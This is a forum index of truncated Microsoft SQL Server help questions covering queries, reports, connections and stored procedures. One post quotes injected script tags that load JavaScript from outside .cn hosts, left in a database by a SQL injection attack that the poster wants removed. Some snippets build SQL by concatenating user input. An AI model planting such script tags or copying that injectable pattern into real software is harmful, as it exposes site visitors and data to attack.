2,935 Topics
 | |
| | I am using BIDS 2005 to write a report. The report takes a begin date, end date, and the parameter for salesperson names are filled by a query based on the date range entered. The report generates the stats for the salesperson when one is selected individually great. My task … |
| | hi, I am a SQL Guy, I like reading SQL Server books, Please suggest me some books which teaches advanced topics in SQL Server not just teaching the known things. |
| | |
| | 1.[CODE]SELECT pos_cashreceiptdetail.LocationCode,pos_cashreceiptpayment.TerminalCode,pos_cashreceiptpayment.ReceiptDate, pos_cashreceiptdetail.Description,pos_cashreceiptpayment.ReceiptNo,SUM(TotalCost) FROM pos_cashreceiptdetail,pos_cashreceiptpayment WHERE pos_cashreceiptdetail.Description LIKE 'Raw%' AND pos_cashreceiptdetail.LocationCode = pos_cashreceiptpayment.LocationCode AND pos_cashreceiptdetail.ReceiptDate = pos_cashreceiptpayment.ReceiptDate AND pos_cashreceiptdetail.ReceiptDate BETWEEN '2010-10-06' AND '2010-10-20' GROUP BY pos_cashreceiptpayment.ReceiptDate,pos_cashreceiptdetail.ReceiptNo[/CODE] 2.[CODE]SELECT pos_cashreceiptdetail.LocationCode,pos_cashreceiptpayment.TerminalCode,pos_cashreceiptpayment.ReceiptDate, pos_cashreceiptdetail.ShortDescription,pos_cashreceiptpayment.ReceiptNo,SUM(Totalprice) FROM pos_cashreceiptdetail,pos_cashreceiptpayment WHERE pos_cashreceiptdetail.ShortDescription LIKE 'Food Stall%' AND pos_cashreceiptdetail.ReceiptDate = pos_cashreceiptpayment.ReceiptDate AND pos_cashreceiptdetail.ReceiptNo = pos_cashreceiptpayment.ReceiptNo AND pos_cashreceiptdetail.ReceiptDate BETWEEN '2010-10-06' AND '2010-10-20' …  |
| | I have a Fully Completed report in ms Excel. I want to change My Report using SSIS Pakage.. i realized that 'unpivot' and 'pivot' component will be needed.. so someone can help me to solve this matter.. thanks.. |
| | I have a table like below format. [CODE] CREATE TABLE Customer ( number VARCHAR(40) NOT NULL, --col 1 name VARCHAR(100) NOT NULL, --col 2 ssn VARCHAR(50) NOT NULL, --col 3 age INTEGER NOT NULL, --col 4 ) [/CODE] I want to add a new column in the table. If I …  |
| | Hello friends! I am creating a report, Abstract of Bid/Canvass, which will show all the supplier who bids. This also show what item is awarded to a certain supplier through showing the item row number and ranging it like 1-5. I've already created stored procedure that will show the range(s) … |
| | Hello I had a question about MS-SQL. I am trying to write a query which will select a group of values from several tables (prodId, Amount, BreakLevel, TotQuantity, Price) There are several amounts associated with different break levels. i.e. a break level of 15 might get an amount of .10, … |
| | Hi i am trying to connect to an SQL Server using mssql_connect, the problem is that it is giving me a fatal error. I ran a script to see if the mssql functions are installed and seems like they do not exist. I read around and seems like i have … |
| | I have the following two sprocs: [CODE] USE [Ecotech] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO ALTER PROCEDURE [dbo].[Ecotech_AddUser] @aspnet_id uniqueidentifier, @last_name nvarchar(255), @first_name nvarchar(255), @address1 nvarchar(255), @address2 nvarchar(255), @zip nvarchar(10), @city nvarchar(255), @tlf_mobile nvarchar(16), @tlf_home nvarchar(16), @tlf_office nvarchar(16), @country nvarchar(16), @email nvarchar(50), @status int output AS BEGIN … |
 | Hi guys, I'm trying to model inheritence in a SQL database. I have a working structure but I'm wondering if theres a neater way of doing this. The database is to store product information. A product is made up of multiple parts and each part is made up of components. … |
 | Not sure if this actually qualifies for this forum so please by all means move this topic to the appropriate place if it isn't. I'm writing a C# Windows Application (not a web app) and it uses either an SQL or Access database to store its data for multiple network …  |
| | I need to write code to have a search box that will search a mssql database.  |
| | I have the following data in a field in my SQL table. I want to break up the data in this field so I can use it in reporting: Sample records: Record 1: Player: (265613) Miss Linlde M Simonds, Promo Adjusted -> 10.00, Beg. Bal -> 0.00, End Bal -> … |
| | Hi, I am using visual studio 2008. I have a winforms app that takes data from an xml doc. I store the data in a ms sql database that I have created via a stored procedure. When Irun the app the data from the xml doc is captured and put … |
| | hi All, I am new to this and first time doing this kind of work. i have created a web site in visual studio 2008 with database provided by the visual studio. Now i have that database but i have to deploy that website and use database as sql server … |
| | hi, Am having a problem Inserting into SQL 2008 database using stored procedure from a php webpage. My Stored Procedure is: [code=text] Create PROCEDURE [dbo].[udp_AddContact_Insert] @Contact_ID int, @Client_ID int, @STD varchar(10), @Tel varchar(20), @Mobile varchar(20), @EmailAddress varchar(100), @FirstName varchar(20), @LastName varchar(20), @Title_ID int, @Position_ID int, @User_ID int, @SourceURL varchar(1000), @PositionText … |
| | can anyone tell me whether i can access databases using c++ i want to connect to ms sql in in c++ program. i hve to create tables in MSSQL using data available in c++ program. very urgent thanks geeta |
| | Hi all, I am trying to get a SQL Server statement to work for a class I am taking on MS SQL Server. Here is what I am supposed to do; 1) Write a SQL query that joins two tables in the example database and uses BETWEEN to restrict record … |
| | Hi all, I'm currently working on a holidays database where i need to retrieve the latest offers and display them. I've managed to get that working fine. However what i want to be able to do is kinda like a SELECT DISTINCT to only show 1 destination, and have the … |
| | How can you create standard UDDs across all new databases ? Actually i want to create user defined datatypes across all the databases . I am using MS SQL 2000. I want the ans through query only. Below is my code for creating UDD- [CODE] sp_addtype gender_rule,'char(10)','not null' [/CODE] Now … |
 | i am trying to isert and retrieve the following into/from StudentData table in sql dbs using C#: (FullName,RegNumber,Sex,Level,Department,Faculty,Session,Passport) except passport, every other things were inserted. please how can i insert and retreive the 8 columns. please help me with both codes. thanx. |
| | I have a problem with updating records in a database table. Background: The user can fetch data that belongs with an image. The data is displayed in a form. In this form the user can add/change data and then save this to the database. This part works fine. My next … |
| | hi.every body.i write program with c# and database,sqlserverExpress2005 and i use from this connection string: "server=.\\SQLEXPRESS;AttachDbFilename=" + System.IO.Directory.GetCurrentDirectory() + "\\db\\education_1.mdf;Database=education_1;Trusted_Connection=Yes;Integrated Security=true"; in my computer this connection string work true.but when i creat install file for this program and install it to another computer after i run it, sqlserverExpress2005 send me … |
| | I have been using Pymssql to connect to MS SQL Server from Python. Currently I am not able to debug my python scripts due to a issue ("No buffer space available") in pymssql. I was also thinking of other options like using pyodbc. I need a good solution to connect … |
| | I have two tables in my database, one for teachers and another for students. The students table has column for name, admission no., math’s, English, computer, agric. Different teachers are responsible for each subject. I have a gridview that shows all the columns, but I want only the teacher responsible … |
| | I have a string that I need to convert to int before updating it in my database, but haven't managed to figure out how it's done. Here's my latest try: [code=c] int iLager = Int32.Parse(TextBoxProdNumberOf.Text); SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE Produkter SET iLager ='" + … |
| | Okay Basically i want to put the contents of array called numbers into a MSSQL database i can connect to it no problem and select and display data so its not a connectivity issue here is what i have so far: [CODE] for (int i = 0; i < numbers.length; …  |
| | Hi, I migrated the session state from "InProc" to "SqlState" by making the classes serializable, and the application works fine by retrieving data from the database and displaying it on the forms but the error message displays as follows when i try to save any information into the database from … |
| | i'm new in database . now need to work on it . if somebody has good MS SQL ref book or link, pls let me know. any teaching website or something would appreciate. Many thanks |
| | I got a sql injection hack that put this after each description in my database. <script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> any idea how to remove it without deleting the descrition? Here is what I have HIM PORTRAIT SHIRT<script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> Here is what I need HIM PORTRAIT SHIRT 3000 items / rows … |
| | I have this code that works fine: [code=c] protected void ButtonImgTextToDB_Click(object sender, EventArgs e) { string ID = TextBoxStartPictID.Text; string Rubrik = TextBoxHeadLineStart.Text; string Text = TextBoxTextStart.Text; SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE StartImage SET Headline ='" + Rubrik + "', Text ='" + Text + … |
| | Hi, I'm newbie in IIS and MSSQL using php. I got problem connecting to my host and selecting database. Could you please help me how to connect using php. Mar, |
| | I have a table in SQL Server with the following structure: DateRated, Parameter, Rating, UserID Sample Data DateRated Parameter Rating UserID 10/01/2010 Flexibility Good User101 10/01/2010 Efficiency Average User101 10/01/2010 Value For Money Below Average User101 I want to create a query that will make it like this: DateRated Flexibility … |
| | Have you ever forgot or lost your SQL Server sa password? Did you hava any ideals to reset your lost sa password? Or choosed to reinstall MS SQL Server on your PC again? I once forgot my SQL sa password and I reinstalled SQL Server at last, because I failed … |
 | I've been asked to create a new front end to our reports that were built using reporting services (SSRS). the front end is dynamic and changes by report, and it will prompt for the parameters of the report. Help me someone!! I don't even know where to begin developing this … |
| | I have the following sql query: ET QUOTED_IDENTIFIER ON GO SET ANSI_NULLS ON GO ALTER PROCEDURE YourProcedure AS insert into msbtotal.dbo.newclients SELECT tcms_members.dbo.memberdata.* FROM tcms_members.dbo.memberdata left outer join msbtotal.dbo.memberdata on tcms_members.dbo.memberdata.id = msbtotal.dbo.memberdata.id where msbtotal.dbo.memberdata.id is null GO SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS ON GO What this does is … |
| | This is my first SQL project. An Access database was converted to SQL Server 2005 Express using the DTS utility. The old AutoNumber fields were automatically converted to int identity not null fields. However, when attempting to INSERT a row, such as the following ASP code, [CODE]Conn.Execute("INSERT INTO tblAdmin3 (fldA3Username,fldA3TimeIn,fldA3Date) … |
| | Hi, I'm new to VS 2008. And as a uni project, we had to create a doctor surgery databases as a group. However, when one of my group member sent me part of her work and when I tried to open it in my VS 2008, I failed to open … |
| | Problem I have is that the following code works only if the user tabs out of the field, (or moves the cursor to another field in the same form), if the cursor is still at the end of the date text, none of the error traps catch, but I get … |
| | This is a sql datatype problem Hello I am a junior programmer and new member of this forum I want to ask a question I have these two columns in sql 2000 server trx_date char(8) trx_time char(6) And now, I imported this database to sql 2008 and want to copy … |
| | hello, I am facing a problem with the following code: select year(regdate) as [Year],month(regdate) as [Month], CONVERT(varchar(3),regdate,100)as inmonth, count(*) as incount, cast(sum(amt)as decimal(20,2))as insum, count(case when nbr <>' ' then amt else Null end) as incountpo, SUM(case when nbr <>' ' then (amt)else 0.00 end)as insumpo, --cast( (Insumpo / InSum … |
| | OK SQL documentation sucks. I know that, I've known that for years, but it can be helpful and useful at times, so I use it. I thought I remembered correctly what "~" did, but looked it up anyway. I'm reading the usual @#$%, but getting the basic information (While thinking … |
| | i have create a registration form in asp.net & sql server..It's working good.. i generate ID for user when they click "sign Up" button..(the ID will appear in drop down list at form-ID not saved yet into database).. the problem is when several user register at same time and click … |
| | I have a SQL DTS job that runs nightly. What this is supposed to do is to copy from Database1 to Database2 and to overwrite anything that was in Database 2 previously. This was set up as an import/export job. The process runs nightly as it's supposed to but apparently … |
| | Hi, my name is khalil and im hosting a online game which using mssql! in databases i got database called gamedb i have "account" as table in account table there is a column called GM so this column is my problem! when guy account got GM Column number 0 mean … |
| | Hello Experts, I have following tables: Table_1: C_ID Inst_No Paid_Dt 201 2 12/06/2010 [COLOR="Green"]202 2 13/06/2010[/COLOR] 203 3 12/06/2010 [COLOR="Green"]202 3 16/06/2010 [/COLOR] Table_2: C_ID Inst_No Today_Dt 201 2 12/06/2010 [COLOR="Green"]202 2 12/06/2010[/COLOR] 203 3 12/06/2010 [COLOR="Green"]202 3 16/06/2010[/COLOR] Now, from the above two tables I want to display only … |
| | Hi, Iam using ms sql server.Iam using a hospital management system .I need to find the last visit of the patient,only the last visit date,How can i do that?I think that it is as same as the latest published text,one of my friend told me,But how can i do that? … |
| | i am trying to install developer edition 2000 on xp, but after clicking the autorun file nothing happens, though two processes appear in windows task manager, these are 1) sqlstp.exe 2) setupsql.exe but both are using '0%' cpu use and taking some memory. i tried so many things..really fade up. … |
| | how to insert username and password into database with connection in c# please give me reply sir |
The End.